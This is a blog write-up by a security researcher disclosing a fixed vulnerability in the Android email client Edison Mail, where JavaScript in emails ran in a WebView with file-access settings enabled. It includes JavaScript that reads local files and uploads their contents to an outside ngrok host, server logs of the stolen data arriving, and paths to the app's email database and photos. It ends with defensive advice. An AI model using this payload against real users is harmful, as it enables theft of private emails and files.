Abusing WebViews To Steal Files via Email
A few months ago, I was testing the email functionality on a company’s contact us page, when I sent an email to myself containing:
<script> alert("Hi, It's almost lunch time") </script>
It actually was close to lunch time, so I wrapped up testing and waited for the email to arrive in my inbox. Once it arrived, I opened my email client and checked the email, when all of a sudden I was met with this popup:
This was bad. At the time I was using Edison Mail as my primary email client. It offered a number of useful features including package tracking, easy integration with my calendar, and smart replies making it a useful email client. But as soon as I saw that popup, I knew I was going to have to go back to using Gmail. Getting this pop-up was bad. Even before seriously looking into the issue – I had a hunch that the impact of the issue could be serious.
TL;DR:
While using Edison Mail – I found that it would execute JavaScript stored inside of emails. This functionality could be abused to read files from user’s external storage as well as all their emails. The contents of these files could then be uploaded to a remote server. All by only OPENING a malicious email.
Finding the dangerous WebViews Settings
Android developers frequency use WebViews to incorporate web features into their applications. Normally, when developers use WebViews the default settings are used. Unfortunately, Edison Mail made a number of WebView changes that facilitated attacks against its users. Let’s start off by finding the WebView changes made by Edison Mail.
As WebView settings are typically contained within the WebSettings class, we should be able to search the application’s decompiled source for any invocations of the WebSettings class. A quick search turned up a number of settings changes made by the application.
Below are a three of the most dangerous settings that were enabled:
setJavaScriptEnabled(true)
setAllowFileAccessFromFileURLs(true)
setAllowUniversalAccessFromFileURLs(true)
Alone each of these settings is fairly benign, but together and put into the context of an email application each setting change was dangerous. In particular, the FileAccess
settings were dangerous as they give contents inside the WebView access to local file, but I am getting a head of myself.
A brief lesson on WebView Settings
First, let’s review the list of enabled WebView settings to understand a bit about each one.
setJavaScriptEnabled
– does exactly what the name implies and enables JavaScript to be executed inside of the WebView. It seems like this feature should be enabled by default since every developer and every application almost always seem to have this feature enabled. Alone this feature is benign, but when coupled with other setting changes it can be quite dangerous.
SetAllowFileAccessFromFileURls
– allows any JavaScript inside of files loaded using the File URI scheme (file://
) to request other resources using the file’s URI. Now to fully appreciate how powerful this is, let’s take a step back and discuss the File URI scheme.
Content can loaded into WebViews using a number of schemes. The most common is the Universal Resource Locator (URL), but other formats like the Data scheme also exist. In this case, the file scheme is a special scheme that allows a WebView to load local files. Applications typically use this scheme to load locally stored content into the WebView.
This is where the SetAllowFileAccessFromFileURLs
comes into play. By default, file loaded using the File URI scheme are not able to load additional resources. Enabling the SetAllowFileAccessFromFileURLS
lets them load other local resources using the File URI scheme.
setAllowUniversalAccessFromFileURLs
– allows JavaScript inside of files loaded using the File URI scheme to request resources using schemes other than the File URI scheme. Of the three setting changes made by Edison mail – this is the most dangerous. It disables a fundamentally important protection and allows local files to request resource using HTTP/S.
Testing WebViews with Google Chrome
So far we know that the application is taking our emails and executing the JavaScript inside of our email. We also know that the application allows local file resources to request other resources, but we don’t know if our JavaScript is being loaded as a file resource or using some other method. To answer that question, let’s do some dynamic testing.
Testing WebViews is simple – we can leverage the setWebContentsDebuggingEnabled
setting. This setting will let us connect to the WebView running on our device using Chrome. From there, it behaves like a normal web page and we can use Chrome’s developer console to test the WebView.
But before we get to that stage, we need to enable setWebContentsDebuggingEnabled. To do this decompile the application and added this line of code to any of the applications’ OnCreate methods preferably one that is triggered at launch:
const/4 v1, 0x01
invoke-static {v1}, Landroid/webkit/WebView;->setWebContentsDebuggingEnabled(Z)V
The best part about this setting is that it is applied globally, so one call is all it takes to debug any newly created WebViews.
From here, we can connect our to Android device to our computer and navigate to chrome://inspect
using Chrome. Once we open Edison Mail and it launches a WebView we should see it show up.
Now we are ready to start poking around.
Time to steal some files
With our testing environment setup, let’s see if we can break something. The first thing we need to do is review the context of the WebView. Chrome shows us this, before even opening the WebView.
Under WebView in com.easilydo.mail
we see that there are a number of about:blank
pages. This means that a local file is being used to render the email’s content. It is not imminently apparent, but about:blank
is just an alias for file://android_asset
. This means that we should be able to read arbitrary files from the device. Let’s validate that.
Pasting the following code into the console:
function getfile(filepath){
var request = new XMLHttpRequest();
request.onreadystatechange = function() {
var t = new XMLHttpRequest();
console.warn(this.responseText);
};
xhttp.open("GET", filepath, false);
xhttp.send();
}
getfile("file:///sdcard/test.file")
Gives us this the contents of /sdcard/test.file
Awesome – We were able to read the contents of a file stored on the user’s external storage. The next step is to see if we can upload the contents of the files somewhere. Remember the setAllowUniversalAccessFromFileURLs
flag? Normally, It would be prevent us from uploading files, but the setting was enabled. To perform a quick test, we can use the following code:
function uploadfile(filepath, url){
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
var upload = new XMLHttpRequest();
upload.open("GET", url + "?" + this.responseText , false)
upload.send()
};
xhttp.open("GET", filepath, false);
xhttp.send();
}
uploadfile("file:///sdcard/test.file", "http://3164c2ef.ngrok.io")
A look over at the server and sure enough the file’s contents was uploaded
Serving HTTP on 0.0.0.0 port 3333 (http://0.0.0.0:3333/) ...
127.0.0.1 - - [12/Aug/2019 15:19:15] "GET /? HTTP/1.1" 200 -
127.0.0.1 - - [12/Aug/2019 15:19:15] "GET /?THIS%20FILE%20IS%20ON%20THE%20SDCARD?!?! HTTP/1.1" 200
It worked! So now we know that we are able to both read files from the filesystem and upload them to arbitrary sites. With this functionality, we could steal a number of sensitive files from a user – including:
- All their emails, which are stored at: file:///data/data/com.easilydo.mail/databases/ko.db
- All their pictures, which are stored at: file://sdcard/DCIM
- All files stored at file://sdcard/*
What makes this entire attack more dangerous is the fact that it is possible to use the File URI scheme to traverse a directory. Finally, since the file uploads only stop once the user closes the application, it is possible to perform long running tasks like archiving and uploading all of a user’s files. All that the attacker needs to do is convince the user to OPEN the email.
Protecting against future attacks
If not properly secured, WebViews can be used to attack applications. However, these attacks typically rely on or more of the following conditions existing:
- Resources being loaded from external storage
- Third-party resources being loaded without domain white listing
- Allowing JavaScript to be executed
- Usage of dangerous JavaScript Interfaces
- Modification of WebSettings to permit access to privileged data
If any of the above conditions exist, than it may be possible to leverage one or more condition to gain a foothold inside of the WebView. As a precaution, we have see that a number of applications are performing the following actions to protect against WebView attacks:
- Applications that are caching content in external storage will store the hash of the file preventing cached files from being modified
- Domains and resources are being white listed to prevent unknown third parties form interacting with the WebView
- Applications will filter out dangerous JavaScript functions
- Dangerous JavaScript functions will be overloaded and disabled
- JavaScript interfaces are used sparely and assessed to ensure that they can not be abused
Of the above solutions, Edison mail used the third approach to protecting their users. The application now filters out any dangerous scripts from the email prior to rendering it in a WebView. As of version 1.7.2 the application is no longer vulnerable to the payloads shared above.
Details about the disclosure can be found at: 2019 Edison Mail Advisory.